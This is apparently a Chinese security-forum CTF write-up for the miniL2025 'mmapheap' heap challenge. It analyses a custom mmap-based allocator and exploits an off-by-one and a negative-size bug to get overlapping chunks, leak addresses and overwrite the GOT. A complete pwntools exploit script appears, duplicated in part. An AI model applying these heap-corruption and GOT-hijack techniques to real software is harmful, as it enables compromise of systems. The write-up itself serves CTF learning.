首页
社区
课程
招聘
[原创]miniL2025 mmapheap wp
发表于: 2025-5-9 12:07 3088

[原创]miniL2025 mmapheap wp

2025-5-9 12:07
3088

先看保护,Partial RELRO,然后没有canary,然后来看程序的逻辑,并且,这一个题是一个自制的libc库,并不是glibc(第一次打),那就要ida审一下他的libc库了,看一下他的分配器是怎么工作的,审完之后,他的主要逻辑是这样的,malloc会首先check你的size,主要检测对齐和是不是0(没有检测负数溢出问题),然后这里有一个类似于tcache的那个struct一样的管理结构,它是通过一个头节点进行管理,它的数据结构是

它的chunk的结构是

malloc会进行一个遍历,寻找有没有符合要求的chunk,它这里并不是像tcache一样,将相同大小的chunk放到同一个bin,而是单纯的按照这个mmap的页面里还有没有符合自己申请大小的,就连free的时候,都是按照地址范围来进行页面的查询的,如果当前页面剩余的空余大小大于我们需要的,就会将这个chunk通过fetch函数进行分割,然后分配给我们,如果所有页面都已经不够了,就会新mmap一个,然后进行分割,

能看到这个就是那个list head,因为只是一个头节点,所以只保留指针,前面的不需要就都是0

如果当前的free chunk大小合适的话(如果剩余大小-我们的分配大小<=16,会把那16字节也一并给我们),如果空闲大小很大,就会进行分割,并且填写剩余的空间的size以及相关管理结构的指针等

创建页面的一个函数,接收的参数是一个大小,在malloc的最下面有一个最小传入大小的设置,65548,这里的65583是65535 + 48,这个48其实就是页面前面的那6个管理结构元素,mmap之后,就是头部数据的初始化

并且更改list head的指针,将这个页面链入我们的管理结构

传入了chunk的userdata地址,然后对于double free的检测是检查了size的最低bit的use位,然后通过地址范围寻找它该放入的页面,相当于一个合法地址范围检查吧,之后去除use位,然后就是更改各种指针,并且减少头部数据中那个count,然后以free chunk的身份,链入管理结构,不会进行合并

就是双向链表的一个脱链结构,当这个页面所有chunk都被free掉,就会将当前页面释放,然后更改管理结构的链表,至此它的管理结构基本就已经捋完了

看一下程序逻辑,add函数接收一个size,并且这里是没有对size的负数溢出检查,-1警告,然后他会在我们输入的数据末尾补\x00,这次的是可以off by one的,不像某函数(fgets),然后,将size和ptr都放入bss段的一个全局结构体数组,然后edit函数没啥好说的,同样存在这个off by one问题,之后是delete函数,重点关注能不能UAF,能看到这里检查了对应的ptr存在与否和index范围,然后free之后,清除了size和ptr,暂时看不到怎么UAF,继续看show函数,这里,通过puts进行输出,然后看load函数,主要是检查了输入路径中,是否存在flag字段,如果存在调用f_open,这里解题点就立马出来了,之前got表可写,这里如果更改掉他的got表,让他调用r_open就行了,后续就围绕这个做,这里目前看到的手段一个是off by one,一个是负数溢出问题,这个溢出,通过尝试,可以打印一些东西,用于泄露,然后这里反复尝试之后,决定打这个大的页面的off by one,通过溢出一个\00字节,会覆盖到页面管理结构里的那个指向当前第一个空闲空间的指针,这样会出现一些错位,这里我调试发现,原本末尾字节是0xf0,然后剩余空间是0x110,之后通过溢出,就变成了0x00,那么逻辑上剩余空间和我们已经分配的空间就有了重叠,可以通过前面分配的chunk,在对应位置填写size,这样就可以实现一个overlapping,可以任意覆盖下一个页面的管理结构,然后我通过大小为-1的chunk(要通过调试,让他正好处于最后0x10字节),但是他溢出的空间会导致一个\x00截断,导致不能泄露,这里我是通过free掉一个chunk重新覆盖了对应的区域,这样就可以泄露chunk的地址了,任意分配手段,主要是通过这个over lapping更改指向下一个空闲空间的指针,来实现任意分配,此时我们就得到了libc的地址(因为mmap的地址和他相对偏移是固定的,我记得这好像是aslr的等级原因?),之后泄露elf基址很愁人,想了很久,最后暴力搜,直接tele挨个地址段看,在ld段里发现了一个指针指向了elf段,此时怎么泄露是一个问题,因为我们的泄露其实有缺陷,前面的泄露是靠重新覆写地址,来覆盖掉\x00

所以这里找到一个连续指向elf的地址段,注意他在fetch页面之后,会将剩余空间的大小进行一个重新填写,所以如果我们分配一个-1size的chunk到28这里,就会把这0x55fa694c8350-0x10写到38那里,此时就可以泄露了,后面就随便改got拿下了

struct node_header {
  void* chunk_start;     // v4[0]     → v4 + 6 usrdata起始位置
  void* num;          // v4[1]   → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
  void* base;            // v4[2]   → v4
  void* end;             // v4[3]   → v4 + len
  void* prev;            // v4[4]    双向链表,好像是这个是next和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
  void* next;            // v4[5]
}
struct node_header {
  void* chunk_start;     // v4[0]     → v4 + 6 usrdata起始位置
  void* num;          // v4[1]   → 计数器,记录当前分配了多少个,如果归零的话,会将这个mmap页面munmap
  void* base;            // v4[2]   → v4
  void* end;             // v4[3]   → v4 + len
  void* prev;            // v4[4]    双向链表,好像是这个是next和prev都可以,但是尾插法有点别扭,所以这里当成头插法比较符合tcache的那种插入方式
  void* next;            // v4[5]
}
struct chunk {
_int64 size;
chunk* next;
userdata
}
struct chunk {
_int64 size;
chunk* next;
userdata
}
v4[2] = v4;                                   // start_add
v4[3] = (char *)v4 + len;                     // end
*v4 = v4 + 6;                                 // real chunk start,指向了真正的chunk部分
v4[1] = 0LL;                                  // 计数器归零
v4[4] = &list_head;                           // next指针指向了head
v4[5] = qword_4048;                           // 是直接指向了head的prev指针,
                                               // 所以这一段其实就让新节点的prev指向了原本
v4[2] = v4;                                   // start_add
v4[3] = (char *)v4 + len;                     // end
*v4 = v4 + 6;                                 // real chunk start,指向了真正的chunk部分
v4[1] = 0LL;                                  // 计数器归零
v4[4] = &list_head;                           // next指针指向了head
v4[5] = qword_4048;                           // 是直接指向了head的prev指针,
                                               // 所以这一段其实就让新节点的prev指向了原本
from pwn import *
context(arch='amd64', log_level='debug', os='linux')
#  puts("1. Add paper");
#   puts("2. Edit paper");
#   puts("3. Delete paper");
#   puts("4. Show paper");
#   puts("5. Load paper");
def add_for(p,index,size):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'1')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
def add(p,index,size,data):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'1')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'data: ')
    p.send(data)
def delete(p, index):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
def edit(p, index, data):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'data: ')
    p.send(data)
def show(p, index):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'4')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
def load(p, index, filename):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'5')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'filename: ')
    p.send(filename)
# p = process('./vuln')
# p = gdb.debug('./vuln','b main')
p = remote('172.27.80.1',50247)
elf = ELF('./vuln')
libc = ELF('./libmylib.so')
# add(p,14,65184,b'a')
add(p,0,65440,b'a' )
# add(p,1,65200,b'a' )
add(p,1,64688,b'a' )
add(p,1,0x1f0,b'a')
add(p,14,64702,b'a')
add(p,2,0x2f0,b'b'*0x2f0)
# add(p,2,0x70,b'a'*0x70)
size = 0x300-0x20-0xd0
# p.recvuntil(b'Choose an option:')
# p.sendline(b'2')
# p.sendline(b'2')
# p.interactive()
# p.recvuntil(b'idx: ')
# p.sendline(str(index).encode())
# p.recvuntil(b'data: ')
# p.send(data)
edit(p,1,b'a'*0x100+p64(size))
# p.interactive()
#天无绝人之路,调出来了
add(p,3,0x1e0,b'b' * 0x1d0)
 
add(p,4,0x10,b'a')
 
add_for(p,5,-1)
delete(p,4)
#此时删除掉之后,他再次覆盖回来了
show(p,5)
# p.recvuntil(b'\xe0')
leak_add = u64(p.recvn(6).ljust(8,b'\x00'))
print('leak_add --------------',hex(leak_add))
# add_for(p,4,-1)
libc_base = leak_add + 0x20
print('libc_base --------------',hex(libc_base))
add_of_ld = libc_base + 0x40620
#接下来只要通过修改3,就可以覆盖掉,但是问题在于,哪怕我分配过去了,他也不能泄露main的地址
#还是被隔断了
#没事可以单纯更改表,然后分配一个-1来泄露
# edit(p,3,0x1f0 * b'a' + p64(add_of_ld))
# p.interactive()
 
#再营造一次相同的情景
add(p,6,65440,b'a' )
 
add(p,7,64688,b'a' )
add(p,7,0x1f0,b'a')
add(p,14,64702,b'a')
add(p,8,0x2f0,b'b'*0x2f0)
#8通过覆盖,消除了7第一个指向的f0,变成了00,所以他会多0xf0空间
edit(p,7,b'a'*0x100+p64(0x300))
add(p,9,0x250,b'a' * 0x1f0 + p64(add_of_ld))
 
add_for(p,10,-1)
p.sendline(b'1')
p.recvuntil(b'idx: ')
p.sendline(b'10')
p.recvuntil(b'size: ')
# p.interactive()
p.sendline(b'-1')
 
show(p,10)
leak_elf_add = u64(p.recvn(6).ljust(8,b'\x00'))
print('leak_elf_add --------------',hex(leak_elf_add))
elf_base = leak_elf_add - 0x340
print('elf_base --------------',hex(elf_base))
f_open_got = elf_base + elf.got['f_open']
print('f_open_got --------------',hex(f_open_got))
#直接分配更改不了,所以分配到init_libmylib
init_libmylib_got = elf_base + elf.got['init_libmylib']
print('init_libmylib_got --------------',hex(init_libmylib_got))
r_open = libc_base + libc.symbols['r_open']
print('r_open --------------',hex(r_open))
 
edit(p,9,0x1f0 * b'a' + p64(init_libmylib_got))
#准备填充所有函数
read_add = libc_base + libc.symbols['read']
memset_add = libc_base + libc.symbols['memset']
r_open_add = libc_base + libc.symbols['r_open']
exit_add = libc_base + libc.symbols['exit']
close_add = libc_base + libc.symbols['close']
free_add = libc_base + libc.symbols['free']
payload = p64(read_add) + p64(memset_add) + p64(r_open_add) +p64(r_open_add) + p64(exit_add) + p64(close_add) + p64(free_add)
add(p,12,0x50,payload)
load(p,2,b'flag')
show(p,2)
p.interactive()
# p = remote('172.27.80.1',62893)
from pwn import *
context(arch='amd64', log_level='debug', os='linux')
#  puts("1. Add paper");
#   puts("2. Edit paper");
#   puts("3. Delete paper");
#   puts("4. Show paper");
#   puts("5. Load paper");
def add_for(p,index,size):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'1')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
def add(p,index,size,data):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'1')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'data: ')
    p.send(data)
def delete(p, index):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
def edit(p, index, data):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'data: ')
    p.send(data)
def show(p, index):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'4')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
def load(p, index, filename):
    p.recvuntil(b'Choose an option:')
    p.sendline(b'5')
    p.recvuntil(b'idx: ')
    p.sendline(str(index).encode())
    p.recvuntil(b'filename: ')
    p.send(filename)
# p = process('./vuln')
# p = gdb.debug('./vuln','b main')
p = remote('172.27.80.1',50247)
elf = ELF('./vuln')
libc = ELF('./libmylib.so')
# add(p,14,65184,b'a')
add(p,0,65440,b'a' )
# add(p,1,65200,b'a' )

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2025-5-9 20:13 被pwnlhy编辑 ,原因: 图片问题
上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 4916
活跃值: (1840)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
2
好猛,这就是pwn✌️
2025-5-9 20:04
0
游客
登录 | 注册 方可回帖
返回